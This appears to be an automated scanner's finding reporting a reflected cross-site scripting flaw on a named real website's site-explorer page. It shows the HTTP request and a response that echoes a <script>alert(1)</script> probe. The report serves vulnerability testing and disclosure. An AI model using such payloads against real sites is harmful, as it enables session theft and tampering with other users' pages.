1. Cross-site scripting (reflected)
Severity: | High |
Confidence: | Certain |
Host: | http://www.majesticseo |
Path: | /reports/site-explorer |
GET /reports/site-explorer Host: www.majesticseo.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Accept: application/xml Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,* Cookie: RURI=search.php; _pk_ref.2.d6bc=1300148348 |
HTTP/1.1 200 OK Date: Wed, 16 Mar 2011 11:55:21 GMT Server: Apache Content-Length: 7580 Content-Type: text/html; charset=utf-8 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR <meta http-equiv="X-UA <html> <head> <meta http-equiv="Content-Ty ...[SNIP]... </script>07488d3bb64114d4<script>alert(1)< ...[SNIP]... |